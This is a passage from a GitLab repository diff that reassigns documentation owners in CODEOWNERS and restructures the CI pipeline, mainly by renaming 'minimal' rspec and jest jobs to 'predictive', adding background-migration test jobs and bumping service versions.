+/doc/development/gitlab_shell/ @aqualls
/doc/development/graphql_guide/ @ashrafkhamis
/doc/development/graphql_guide/batchloader.md @aqualls
/doc/development/i18n/ @eread
-/doc/development/image_scaling.md @jglassman1
+/doc/development/image_scaling.md @lciutacu
/doc/development/import_export.md @eread
/doc/development/index.md @sselhorn
/doc/development/integrations/codesandbox.md @sselhorn
@@ -783,6 +788,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/development/logging.md @msedlakjakubowski
/doc/development/maintenance_mode.md @axil
/doc/development/merge_request_concepts/ @aqualls
+/doc/development/merge_request_diffs.md @aqualls
/doc/development/omnibus.md @axil
/doc/development/packages/ @claytoncornell
/doc/development/pages/ @ashrafkhamis
@@ -792,6 +798,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/development/project_templates.md @lciutacu
/doc/development/prometheus_metrics.md @msedlakjakubowski
/doc/development/real_time.md @msedlakjakubowski
+/doc/development/rubocop_development_guide.md @sselhorn
/doc/development/sec/ @rdickenson
/doc/development/sec/security_report_ingestion_overview.md @claytoncornell
/doc/development/secure_coding_guidelines.md @sselhorn
@@ -825,6 +832,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/integration/datadog.md @ashrafkhamis
/doc/integration/external-issue-tracker.md @ashrafkhamis
/doc/integration/gitpod.md @ashrafkhamis
+/doc/integration/glab/ @aqualls
/doc/integration/gmail_action_buttons_for_gitlab.md @ashrafkhamis
/doc/integration/index.md @ashrafkhamis
/doc/integration/jenkins.md @ashrafkhamis
@@ -864,22 +872,21 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/topics/plan_and_track.md @msedlakjakubowski
/doc/tutorials/ @kpaizee
/doc/update/ @axil
-/doc/update/mysql_to_postgresql.md @aqualls
+/doc/update/background_migrations.md @aqualls
/doc/update/package/ @axil
-/doc/update/upgrading_postgresql_using_slony.md @aqualls
/doc/user/admin_area/analytics/ @lciutacu
/doc/user/admin_area/broadcast_messages.md @phillipwells
/doc/user/admin_area/credentials_inventory.md @jglassman1
/doc/user/admin_area/custom_project_templates.md @eread
/doc/user/admin_area/diff_limits.md @aqualls
+/doc/user/admin_area/external_users.md @jglassman1
/doc/user/admin_area/geo_sites.md @axil
/doc/user/admin_area/labels.md @msedlakjakubowski
/doc/user/admin_area/license.md @fneill
/doc/user/admin_area/license_file.md @fneill
/doc/user/admin_area/merge_requests_approvals.md @aqualls
/doc/user/admin_area/moderate_users.md @jglassman1
-/doc/user/admin_area/monitoring/background_migrations.md @aqualls
-/doc/user/admin_area/monitoring/health_check.md @msedlakjakubowski
+/doc/user/admin_area/monitoring/ @msedlakjakubowski
/doc/user/admin_area/reporting/git_abuse_rate_limit.md @phillipwells
/doc/user/admin_area/reporting/spamcheck.md @axil
/doc/user/admin_area/review_abuse_reports.md @jglassman1
@@ -902,6 +909,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/user/admin_area/settings/rate_limit_on_notes_creation.md @msedlakjakubowski
/doc/user/admin_area/settings/rate_limit_on_pipelines_creation.md @marcel.amirault
/doc/user/admin_area/settings/rate_limit_on_users_api.md @jglassman1
+/doc/user/admin_area/settings/terraform_limits.md @phillipwells
/doc/user/admin_area/settings/third_party_offers.md @lciutacu
/doc/user/admin_area/settings/usage_statistics.md @claytoncornell
/doc/user/admin_area/settings/visibility_and_access_controls.md @aqualls
@@ -958,8 +966,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/user/group/repositories_analytics/ @marcel.amirault
/doc/user/group/roadmap/ @msedlakjakubowski
/doc/user/group/saml_sso/ @jglassman1
-/doc/user/group/settings/group_access_tokens.md @jglassman1
-/doc/user/group/settings/import_export.md @eread
+/doc/user/group/settings/ @jglassman1
/doc/user/group/subgroups/ @lciutacu
/doc/user/group/value_stream_analytics/ @lciutacu
/doc/user/infrastructure/ @phillipwells
@@ -970,8 +977,10 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/user/infrastructure/clusters/manage/management_project_applications/ @phillipwells
/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md @fneill
/doc/user/infrastructure/iac/ @phillipwells
-/doc/user/markdown.md @aqualls
+/doc/user/markdown.md @msedlakjakubowski
/doc/user/namespace/ @lciutacu
+/doc/user/okrs.md @msedlakjakubowski
+/doc/user/operations_dashboard/ @rdickenson
/doc/user/packages/ @claytoncornell
/doc/user/packages/composer_repository/ @claytoncornell
/doc/user/packages/conan_repository/ @claytoncornell
@@ -980,6 +989,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/user/packages/dependency_proxy/ @claytoncornell
/doc/user/packages/generic_packages/ @claytoncornell
/doc/user/packages/go_proxy/ @claytoncornell
+/doc/user/packages/gradle_repository/ @claytoncornell
/doc/user/packages/harbor_container_registry/ @claytoncornell
/doc/user/packages/helm_repository/ @claytoncornell
/doc/user/packages/infrastructure_registry/ @claytoncornell
@@ -991,7 +1001,9 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/user/packages/rubygems_registry/ @claytoncornell
/doc/user/packages/terraform_module_registry/ @claytoncornell
/doc/user/packages/workflows/ @claytoncornell
+/doc/user/packages/yarn_repository/ @claytoncornell
/doc/user/permissions.md @jglassman1
+/doc/user/product_analytics/ @lciutacu
/doc/user/profile/ @jglassman1
/doc/user/profile/account/ @jglassman1
/doc/user/profile/contributions_calendar.md @lciutacu
@@ -1036,6 +1048,7 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/user/project/repository/managing_large_repositories.md @axil
/doc/user/project/repository/mirror/ @aqualls
/doc/user/project/repository/reducing_the_repo_size_using_git.md @eread
+/doc/user/project/repository/ssh_signed_commits/ @aqualls
/doc/user/project/repository/web_editor.md @ashrafkhamis
/doc/user/project/repository/x509_signed_commits/ @aqualls
/doc/user/project/requirements/ @msedlakjakubowski
@@ -1046,13 +1059,16 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/doc/user/project/settings/project_access_tokens.md @jglassman1
/doc/user/project/time_tracking.md @msedlakjakubowski
/doc/user/project/web_ide/ @ashrafkhamis
+/doc/user/project/web_ide_beta/ @ashrafkhamis
/doc/user/project/wiki/ @ashrafkhamis
/doc/user/project/working_with_projects.md @lciutacu
/doc/user/public_access.md @lciutacu
+/doc/user/read_only_namespaces.md @phillipwells
+/doc/user/report_abuse.md @phillipwells
/doc/user/reserved_names.md @lciutacu
/doc/user/search/ @ashrafkhamis
/doc/user/shortcuts.md @ashrafkhamis
-/doc/user/snippets.md @ashrafkhamis
+/doc/user/snippets.md @aqualls
/doc/user/ssh.md @jglassman1
/doc/user/tasks.md @msedlakjakubowski
/doc/user/todos.md @msedlakjakubowski
@@ -1422,12 +1438,11 @@ lib/gitlab/checks/** @proglottis @toon @zj-gitlab
/**/javascripts/jobs/ @gitlab-org/ci-cd/verify/frontend
/**/javascripts/pipelines/ @gitlab-org/ci-cd/verify/frontend
/app/assets/javascripts/ci/ @gitlab-org/ci-cd/verify/frontend
-/app/assets/javascripts/pipeline_new/ @gitlab-org/ci-cd/verify/frontend
-/app/assets/javascripts/ci_variable_list/ @gitlab-org/ci-cd/verify/frontend
/app/assets/javascripts/ci/pipeline_schedules/ @gitlab-org/ci-cd/verify/frontend
/ee/app/assets/javascripts/ci/ @gitlab-org/ci-cd/verify/frontend
/app/assets/javascripts/token_access/ @gitlab-org/ci-cd/verify/frontend
/app/assets/javascripts/admin/application_settings/runner_token_expiration/ @gitlab-org/ci-cd/verify/frontend
+/ee/app/assets/javascripts/usage_quotas/pipelines/ @gitlab-org/ci-cd/verify/frontend @fulfillment-group/utilization-group/fe
[Manage::Workspace]
lib/api/entities/basic_project_details.rb @gitlab-org/manage/manage-workspace/backend-approvers
@@ -1502,3 +1517,8 @@ ee/lib/ee/api/entities/project.rb @gitlab-org/manage/manage-workspace/backend-ap
/ee/lib/ee/gitlab/audit/ @gitlab-org/govern/compliance
/lib/gitlab/audit/auditor.rb @gitlab-org/govern/compliance
/lib/gitlab/audit_json_logger.rb @gitlab-org/govern/compliance
+
+[Fulfillment::Utilization]
+/ee/app/assets/javascripts/usage_quotas/components/ @fulfillment-group/utilization-group/fe
+/ee/app/assets/javascripts/usage_quotas/seats/ @fulfillment-group/utilization-group/fe
+/ee/app/assets/javascripts/usage_quotas/storage/ @fulfillment-group/utilization-group/fe
diff --git a/.gitlab/ci/build-images.gitlab-ci.yml b/.gitlab/ci/build-images.gitlab-ci.yml
index 09ffc87f087..05748cff266 100644
--- a/.gitlab/ci/build-images.gitlab-ci.yml
+++ b/.gitlab/ci/build-images.gitlab-ci.yml
@@ -23,6 +23,11 @@ build-qa-image:
script:
- run_timed_command "scripts/build_qa_image"
+build-qa-image as-if-foss:
+ extends:
+ - build-qa-image
+ - .as-if-foss
+
build-assets-image:
extends:
- .base-image-build
diff --git a/.gitlab/ci/docs.gitlab-ci.yml b/.gitlab/ci/docs.gitlab-ci.yml
index 18954e7b8e0..02fc58f8580 100644
--- a/.gitlab/ci/docs.gitlab-ci.yml
+++ b/.gitlab/ci/docs.gitlab-ci.yml
@@ -70,21 +70,22 @@ docs-lint markdown:
script:
- scripts/lint-doc.sh
-docs-code-quality:
+docs code_quality:
extends:
- - .docs:rules:docs-code-quality
+ - .reports:rules:code_quality
- .docs-markdown-lint-image
stage: lint
needs: []
+ dependencies: []
allow_failure: true
script:
- - scripts/lint-doc-quality.sh
+ - vale --output=doc/.vale/vale-json.tmpl --minAlertLevel warning doc > gl-code-quality-report-docs.json || exit_code=$?
artifacts:
reports:
codequality: gl-code-quality-report-docs.json
paths:
- gl-code-quality-report-docs.json
- expire_in: 1 week
+ expire_in: 2 weeks
when: always
ui-docs-links lint:
diff --git a/.gitlab/ci/frontend.gitlab-ci.yml b/.gitlab/ci/frontend.gitlab-ci.yml
index cde023c149a..0c9cdc28136 100644
--- a/.gitlab/ci/frontend.gitlab-ci.yml
+++ b/.gitlab/ci/frontend.gitlab-ci.yml
@@ -204,15 +204,15 @@ jest:
junit: junit_jest.xml
parallel: 5
-jest minimal:
+jest predictive:
extends:
- jest
- - .frontend:rules:jest:minimal
+ - .frontend:rules:jest:predictive
needs:
- !reference [jest, needs]
- "detect-tests"
script:
- - if [[ -s "$RSPEC_CHANGED_FILES_PATH" ]]; then run_timed_command "yarn jest:ci:minimal"; fi
+ - if [[ -s "$RSPEC_CHANGED_FILES_PATH" ]] || [[ -s "$RSPEC_MATCHING_JS_FILES_PATH" ]]; then run_timed_command "yarn jest:ci:predictive"; fi
jest as-if-foss:
extends:
@@ -222,16 +222,16 @@ jest as-if-foss:
needs: ["rspec-all frontend_fixture as-if-foss"]
parallel: 2
-jest minimal as-if-foss:
+jest predictive as-if-foss:
extends:
- .jest-base
- - .frontend:rules:jest:minimal:as-if-foss
+ - .frontend:rules:jest:predictive:as-if-foss
- .as-if-foss
needs:
- "rspec-all frontend_fixture as-if-foss"
- "detect-tests"
script:
- - if [[ -s "$RSPEC_CHANGED_FILES_PATH" ]]; then run_timed_command "yarn jest:ci:minimal"; fi
+ - if [[ -s "$RSPEC_CHANGED_FILES_PATH" ]] || [[ -s "$RSPEC_MATCHING_JS_FILES_PATH" ]]; then run_timed_command "yarn jest:ci:predictive"; fi
jest-integration:
extends:
@@ -252,7 +252,7 @@ coverage-frontend:
needs:
- job: "jest"
optional: true
- - job: "jest minimal"
+ - job: "jest predictive"
optional: true
stage: post-test
script:
diff --git a/.gitlab/ci/global.gitlab-ci.yml b/.gitlab/ci/global.gitlab-ci.yml
index 5e35ae6aff3..90f00c887f7 100644
--- a/.gitlab/ci/global.gitlab-ci.yml
+++ b/.gitlab/ci/global.gitlab-ci.yml
@@ -288,7 +288,7 @@
- name: postgres:12
command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"]
- name: redis:6.0-alpine
- - name: elasticsearch:8.5.2
+ - name: elasticsearch:8.5.3
variables:
POSTGRES_HOST_AUTH_METHOD: trust
PG_VERSION: "12"
@@ -350,7 +350,7 @@
variables:
QEMU_IMAGE: tonistiigi/binfmt:qemu-v7.0.0
before_script:
- - source scripts/utils.sh
+ - !reference [.default-utils-before_script, before_script]
- echo "$CI_REGISTRY_PASSWORD" | docker login "$CI_REGISTRY" -u "$CI_REGISTRY_USER" --password-stdin
- |
if [[ "${ARCH}" =~ arm64 ]]; then
diff --git a/.gitlab/ci/package-and-test/main.gitlab-ci.yml b/.gitlab/ci/package-and-test/main.gitlab-ci.yml
index c53c3b1d32b..48059d9518f 100644
--- a/.gitlab/ci/package-and-test/main.gitlab-ci.yml
+++ b/.gitlab/ci/package-and-test/main.gitlab-ci.yml
@@ -7,7 +7,7 @@ include:
- local: .gitlab/ci/package-and-test/rules.gitlab-ci.yml
- local: .gitlab/ci/package-and-test/variables.gitlab-ci.yml
- project: gitlab-org/quality/pipeline-common
- ref: 1.7.0
+ ref: 1.14.1
file:
- /ci/base.gitlab-ci.yml
- /ci/allure-report.yml
@@ -396,13 +396,13 @@ ee:update-major:
- if: $QA_SUITES =~ /Test::Instance::Smoke/
- !reference [.rules:test:manual, rules]
-ee:gitab-pages:
+ee:gitlab-pages:
extends: .qa
variables:
QA_SCENARIO: Test::Integration::GitlabPages
rules:
- !reference [.rules:test:qa, rules]
- - if: $QA_SUITES =~ /Test::Integration::GitlabPages/
+ - if: $QA_SUITES =~ /Test::Instance::GitlabPages/
- !reference [.rules:test:manual, rules]
ee:gitaly-cluster:
@@ -440,7 +440,7 @@ ee:jira:
JIRA_ADMIN_PASSWORD: $QA_JIRA_ADMIN_PASSWORD
rules:
- !reference [.rules:test:qa, rules]
- - if: $QA_SUITES =~ /Test::Integration::Jira/
+ - if: $QA_SUITES =~ /Test::Instance::Jira/
- !reference [.rules:test:manual, rules]
ee:integrations:
@@ -557,7 +557,7 @@ ee:cloud-activation:
QA_RSPEC_TAGS: --tag cloud_activation
rules:
- !reference [.rules:test:qa, rules]
- - if: $QA_SUITES =~ /Test::Integration::CloudActivation/
+ - if: $QA_SUITES =~ /Test::Instance::CloudActivation/
- !reference [.rules:test:manual, rules]
ee:large-setup:
@@ -603,6 +603,7 @@ ee:importers:
extends: .qa
variables:
QA_SCENARIO: Test::Integration::Import
+ QA_MOCK_GITHUB: "true"
GITLAB_QA_OPTS: --set-feature-flags bulk_import_projects=enabled
rules:
- !reference [.rules:test:qa, rules]
diff --git a/.gitlab/ci/rails.gitlab-ci.yml b/.gitlab/ci/rails.gitlab-ci.yml
index 0e0aeb2954b..df3b3704a52 100644
--- a/.gitlab/ci/rails.gitlab-ci.yml
+++ b/.gitlab/ci/rails.gitlab-ci.yml
@@ -71,13 +71,27 @@ rspec migration pg12:
extends:
- .rspec-base-pg12
- .rspec-base-migration
+ - .rails:rules:ee-and-foss-migration
- .rspec-migration-parallel
-rspec migration pg12 minimal:
+rspec migration pg12 predictive:
extends:
- rspec migration pg12
- - .minimal-rspec-tests
- - .rails:rules:ee-and-foss-migration:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:ee-and-foss-migration:predictive
+
+rspec background_migration pg12:
+ extends:
+ - .rspec-base-pg12
+ - .rspec-base-migration
+ - .rails:rules:ee-and-foss-background-migration
+ - .rspec-background-migration-parallel
+
+rspec background_migration pg12 predictive:
+ extends:
+ - rspec background_migration pg12
+ - .predictive-rspec-tests
+ - .rails:rules:ee-and-foss-background-migration:predictive
rspec migration pg12 single-db:
extends:
@@ -85,23 +99,35 @@ rspec migration pg12 single-db:
- .single-db-rspec
- .rails:rules:single-db
+rspec background_migration pg12 single-db:
+ extends:
+ - rspec background_migration pg12
+ - .single-db-rspec
+ - .rails:rules:single-db
+
rspec migration pg12 praefect:
extends:
- rspec migration pg12
- .praefect-with-db
- .rails:rules:praefect-with-db
+rspec background_migration pg12 praefect:
+ extends:
+ - rspec background_migration pg12
+ - .praefect-with-db
+ - .rails:rules:praefect-with-db
+
rspec unit pg12:
extends:
- .rspec-base-pg12
- .rails:rules:ee-and-foss-unit
- .rspec-unit-parallel
-rspec unit pg12 minimal:
+rspec unit pg12 predictive:
extends:
- rspec unit pg12
- - .minimal-rspec-tests
- - .rails:rules:ee-and-foss-unit:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:ee-and-foss-unit:predictive
rspec unit pg12 single-db:
extends:
@@ -121,11 +147,11 @@ rspec integration pg12:
- .rails:rules:ee-and-foss-integration
- .rspec-integration-parallel
-rspec integration pg12 minimal:
+rspec integration pg12 predictive:
extends:
- rspec integration pg12
- - .minimal-rspec-tests
- - .rails:rules:ee-and-foss-integration:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:ee-and-foss-integration:predictive
rspec integration pg12 single-db:
extends:
@@ -147,11 +173,11 @@ rspec system pg12:
variables:
DEBUG_GITLAB_TRANSACTION_STACK: "true"
-rspec system pg12 minimal:
+rspec system pg12 predictive:
extends:
- rspec system pg12
- - .minimal-rspec-tests
- - .rails:rules:ee-and-foss-system:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:ee-and-foss-system:predictive
rspec system pg12 single-db:
extends:
@@ -187,7 +213,7 @@ rspec fast_spec_helper:
db:rollback:
extends: .db-job-base
script:
- - scripts/db_tasks db:migrate VERSION=20210301200959
+ - scripts/db_tasks db:migrate VERSION=20210602155110
- scripts/db_tasks db:migrate SKIP_SCHEMA_VERSION_CHECK=true
db:rollback single-db:
@@ -287,7 +313,9 @@ gitlab:setup:
- log/*.log
db:backup_and_restore:
- extends: .db-job-base
+ extends:
+ - .db-job-base
+ - .rails:rules:db-backup
variables:
SETUP_DB: "false"
GITLAB_ASSUME_YES: "1"
@@ -298,16 +326,12 @@ db:backup_and_restore:
- bundle exec rake gitlab:backup:create
- date
- bundle exec rake gitlab:backup:restore
- rules:
- - changes:
- - "lib/backup/**/*"
- - "lib/tasks/gitlab/backup.rake"
db:backup_and_restore single-db:
extends:
- db:backup_and_restore
- .single-db
- - .rails:rules:single-db
+ - .rails:rules:db-backup
rspec:deprecations:
extends:
@@ -321,10 +345,12 @@ rspec:deprecations:
# so we use `dependencies` here.
dependencies:
- rspec migration pg12
+ - rspec background_migration pg12
- rspec unit pg12
- rspec integration pg12
- rspec system pg12
- rspec-ee migration pg12
+ - rspec-ee background_migration pg12
- rspec-ee unit pg12
- rspec-ee integration pg12
- rspec-ee system pg12
@@ -351,31 +377,37 @@ rspec:coverage:
- setup-test-env
# FOSS/EE jobs
- rspec migration pg12
+ - rspec background_migration pg12
- rspec unit pg12
- rspec integration pg12
- rspec system pg12
- # FOSS/EE minimal jobs
- - rspec migration pg12 minimal
- - rspec unit pg12 minimal
- - rspec integration pg12 minimal
- - rspec system pg12 minimal
+ # FOSS/EE predictive jobs
+ - rspec migration pg12 predictive
+ - rspec background_migration pg12 predictive
+ - rspec unit pg12 predictive
+ - rspec integration pg12 predictive
+ - rspec system pg12 predictive
# FOSS/EE single-db jobs
- rspec migration pg12 single-db
+ - rspec background_migration pg12 single-db
- rspec unit pg12 single-db
- rspec integration pg12 single-db
- rspec system pg12 single-db
# EE jobs
- rspec-ee migration pg12
+ - rspec-ee background_migration pg12
- rspec-ee unit pg12
- rspec-ee integration pg12
- rspec-ee system pg12
- # EE minimal jobs
- - rspec-ee migration pg12 minimal
- - rspec-ee unit pg12 minimal
- - rspec-ee integration pg12 minimal
- - rspec-ee system pg12 minimal
+ # EE predictive jobs
+ - rspec-ee migration pg12 predictive
+ - rspec-ee background_migration pg12 predictive
+ - rspec-ee unit pg12 predictive
+ - rspec-ee integration pg12 predictive
+ - rspec-ee system pg12 predictive
# EE single-db jobs
- rspec-ee migration pg12 single-db
+ - rspec-ee background_migration pg12 single-db
- rspec-ee unit pg12 single-db
- rspec-ee integration pg12 single-db
- rspec-ee system pg12 single-db
@@ -383,16 +415,19 @@ rspec:coverage:
- memory-on-boot
# As-if-FOSS jobs
- rspec migration pg12-as-if-foss
- - rspec migration pg12-as-if-foss minimal
+ - rspec migration pg12-as-if-foss predictive
- rspec migration pg12-as-if-foss single-db
+ - rspec background_migration pg12-as-if-foss
+ - rspec background_migration pg12-as-if-foss predictive
+ - rspec background_migration pg12-as-if-foss single-db
- rspec unit pg12-as-if-foss
- - rspec unit pg12-as-if-foss minimal
+ - rspec unit pg12-as-if-foss predictive
- rspec unit pg12-as-if-foss single-db
- rspec integration pg12-as-if-foss
- - rspec integration pg12-as-if-foss minimal
+ - rspec integration pg12-as-if-foss predictive
- rspec integration pg12-as-if-foss single-db
- rspec system pg12-as-if-foss
- - rspec system pg12-as-if-foss minimal
+ - rspec system pg12-as-if-foss predictive
- rspec system pg12-as-if-foss single-db
script:
- run_timed_command "bundle exec scripts/merge-simplecov"
@@ -478,11 +513,24 @@ rspec migration pg12-as-if-foss:
- .rails:rules:as-if-foss-migration
- .rspec-migration-parallel
-rspec migration pg12-as-if-foss minimal:
+rspec migration pg12-as-if-foss predictive:
extends:
- rspec migration pg12-as-if-foss
- - .minimal-rspec-tests
- - .rails:rules:as-if-foss-migration:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:as-if-foss-migration:predictive
+
+rspec background_migration pg12-as-if-foss:
+ extends:
+ - .rspec-base-pg12-as-if-foss
+ - .rspec-base-migration
+ - .rails:rules:as-if-foss-background-migration
+ - .rspec-background-migration-parallel
+
+rspec background_migration pg12-as-if-foss predictive:
+ extends:
+ - rspec background_migration pg12-as-if-foss
+ - .predictive-rspec-tests
+ - .rails:rules:as-if-foss-background-migration:predictive
rspec migration pg12-as-if-foss single-db:
extends:
@@ -490,17 +538,23 @@ rspec migration pg12-as-if-foss single-db:
- .single-db-rspec
- .rails:rules:single-db
+rspec background_migration pg12-as-if-foss single-db:
+ extends:
+ - rspec background_migration pg12-as-if-foss
+ - .single-db-rspec
+ - .rails:rules:single-db
+
rspec unit pg12-as-if-foss:
extends:
- .rspec-base-pg12-as-if-foss
- .rails:rules:as-if-foss-unit
- .rspec-unit-parallel
-rspec unit pg12-as-if-foss minimal:
+rspec unit pg12-as-if-foss predictive:
extends:
- rspec unit pg12-as-if-foss
- - .minimal-rspec-tests
- - .rails:rules:as-if-foss-unit:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:as-if-foss-unit:predictive
rspec unit pg12-as-if-foss single-db:
extends:
@@ -514,11 +568,11 @@ rspec integration pg12-as-if-foss:
- .rails:rules:as-if-foss-integration
- .rspec-integration-parallel
-rspec integration pg12-as-if-foss minimal:
+rspec integration pg12-as-if-foss predictive:
extends:
- rspec integration pg12-as-if-foss
- - .minimal-rspec-tests
- - .rails:rules:as-if-foss-integration:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:as-if-foss-integration:predictive
rspec integration pg12-as-if-foss single-db:
extends:
@@ -532,11 +586,11 @@ rspec system pg12-as-if-foss:
- .rails:rules:as-if-foss-system
- .rspec-system-parallel
-rspec system pg12-as-if-foss minimal:
+rspec system pg12-as-if-foss predictive:
extends:
- rspec system pg12-as-if-foss
- - .minimal-rspec-tests
- - .rails:rules:as-if-foss-system:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:as-if-foss-system:predictive
rspec system pg12-as-if-foss single-db:
extends:
@@ -551,11 +605,24 @@ rspec-ee migration pg12:
- .rails:rules:ee-only-migration
- .rspec-ee-migration-parallel
-rspec-ee migration pg12 minimal:
+rspec-ee migration pg12 predictive:
extends:
- rspec-ee migration pg12
- - .minimal-rspec-tests
- - .rails:rules:ee-only-migration:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:ee-only-migration:predictive
+
+rspec-ee background_migration pg12:
+ extends:
+ - .rspec-ee-base-pg12
+ - .rspec-base-migration
+ - .rails:rules:ee-only-background-migration
+ - .rspec-ee-background-migration-parallel
+
+rspec-ee background_migration pg12 predictive:
+ extends:
+ - rspec-ee background_migration pg12
+ - .predictive-rspec-tests
+ - .rails:rules:ee-only-background-migration:predictive
rspec-ee migration pg12 single-db:
extends:
@@ -563,6 +630,24 @@ rspec-ee migration pg12 single-db:
- .single-db-rspec
- .rails:rules:single-db
+rspec-ee background_migration pg12 single-db:
+ extends:
+ - rspec-ee background_migration pg12
+ - .single-db-rspec
+ - .rails:rules:single-db
+
+rspec-ee migration pg12 praefect:
+ extends:
+ - rspec migration pg12
+ - .praefect-with-db
+ - .rails:rules:praefect-with-db
+
+rspec-ee background_migration pg12 praefect:
+ extends:
+ - rspec background_migration pg12
+ - .praefect-with-db
+ - .rails:rules:praefect-with-db
+
rspec-ee unit pg12:
extends:
- .rspec-ee-base-pg12
@@ -574,11 +659,11 @@ rspec-ee unit pg12 es8:
- .rspec-ee-base-pg12-es8
- .rspec-ee-unit-parallel
-rspec-ee unit pg12 minimal:
+rspec-ee unit pg12 predictive:
extends:
- rspec-ee unit pg12
- - .minimal-rspec-tests
- - .rails:rules:ee-only-unit:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:ee-only-unit:predictive
rspec-ee unit pg12 single-db:
extends:
@@ -597,11 +682,11 @@ rspec-ee integration pg12 es8:
- .rspec-ee-base-pg12-es8
- .rspec-ee-integration-parallel
-rspec-ee integration pg12 minimal:
+rspec-ee integration pg12 predictive:
extends:
- rspec-ee integration pg12
- - .minimal-rspec-tests
- - .rails:rules:ee-only-integration:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:ee-only-integration:predictive
rspec-ee integration pg12 single-db:
extends:
@@ -620,11 +705,11 @@ rspec-ee system pg12 es8:
- .rspec-ee-base-pg12-es8
- .rspec-ee-system-parallel
-rspec-ee system pg12 minimal:
+rspec-ee system pg12 predictive:
extends:
- rspec-ee system pg12
- - .minimal-rspec-tests
- - .rails:rules:ee-only-system:minimal
+ - .predictive-rspec-tests
+ - .rails:rules:ee-only-system:predictive
rspec-ee system pg12 single-db:
extends:
@@ -650,25 +735,32 @@ rspec migration pg11:
extends:
- .rspec-base-pg11
- .rspec-base-migration
- - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rails:rules:rspec-on-pg11
- .rspec-migration-parallel
+rspec background_migration pg11:
+ extends:
+ - .rspec-base-pg11
+ - .rspec-base-migration
+ - .rails:rules:rspec-on-pg11
+ - .rspec-background-migration-parallel
+
rspec unit pg11:
extends:
- .rspec-base-pg11
- - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rails:rules:rspec-on-pg11
- .rspec-unit-parallel
rspec integration pg11:
extends:
- .rspec-base-pg11
- - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rails:rules:rspec-on-pg11
- .rspec-integration-parallel
rspec system pg11:
extends:
- .rspec-base-pg11
- - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rails:rules:rspec-on-pg11
- .rspec-system-parallel
# PG13
@@ -679,6 +771,13 @@ rspec migration pg13:
- .rails:rules:default-branch-schedule-nightly--code-backstage
- .rspec-migration-parallel
+rspec background_migration pg13:
+ extends:
+ - .rspec-base-pg13
+ - .rspec-base-migration
+ - .rails:rules:default-branch-schedule-nightly--code-backstage
+ - .rspec-background-migration-parallel
+
rspec unit pg13:
extends:
- .rspec-base-pg13
@@ -710,6 +809,13 @@ rspec-ee migration pg11:
- .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
- .rspec-ee-migration-parallel
+rspec-ee background_migration pg11:
+ extends:
+ - .rspec-ee-base-pg11
+ - .rspec-base-migration
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+ - .rspec-ee-background-migration-parallel
+
rspec-ee unit pg11:
extends:
- .rspec-ee-base-pg11
@@ -729,12 +835,6 @@ rspec-ee system pg11:
- .rspec-ee-system-parallel
# PG12
-rspec-ee unit pg12 es7:
- extends:
- - .rspec-ee-base-pg12-es7
- - .rspec-ee-unit-parallel
- - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
-
rspec-ee unit pg12 opensearch1:
extends:
- .rspec-ee-base-pg12-opensearch1
@@ -747,12 +847,6 @@ rspec-ee unit pg12 opensearch2:
- .rspec-ee-unit-parallel
- .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
-rspec-ee integration pg12 es7:
- extends:
- - .rspec-ee-base-pg12-es7
- - .rspec-ee-integration-parallel
- - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
-
rspec-ee integration pg12 opensearch1:
extends:
- .rspec-ee-base-pg12-opensearch1
@@ -765,12 +859,6 @@ rspec-ee integration pg12 opensearch2:
- .rspec-ee-integration-parallel
- .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
-rspec-ee system pg12 es7:
- extends:
- - .rspec-ee-base-pg12-es7
- - .rspec-ee-system-parallel
- - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
-
rspec-ee system pg12 opensearch1:
extends:
- .rspec-ee-base-pg12-opensearch1
@@ -791,6 +879,13 @@ rspec-ee migration pg13:
- .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
- .rspec-ee-migration-parallel
+rspec-ee background_migration pg13:
+ extends:
+ - .rspec-ee-base-pg13
+ - .rspec-base-migration
+ - .rails:rules:default-branch-schedule-nightly--code-backstage-ee-only
+ - .rspec-ee-background-migration-parallel
+
rspec-ee unit pg13:
extends:
- .rspec-ee-base-pg13
diff --git a/.gitlab/ci/rails/shared.gitlab-ci.yml b/.gitlab/ci/rails/shared.gitlab-ci.yml
index e282781b7b5..4ca82f55b63 100644
--- a/.gitlab/ci/rails/shared.gitlab-ci.yml
+++ b/.gitlab/ci/rails/shared.gitlab-ci.yml
@@ -28,7 +28,7 @@ include:
- run_timed_command "scripts/gitaly-test-spawn" # Do not use 'bundle exec' here
- echo -e "\e[0Ksection_end:`date +%s`:gitaly-test-spawn\r\e[0K"
-.minimal-rspec-tests:
+.predictive-rspec-tests:
variables:
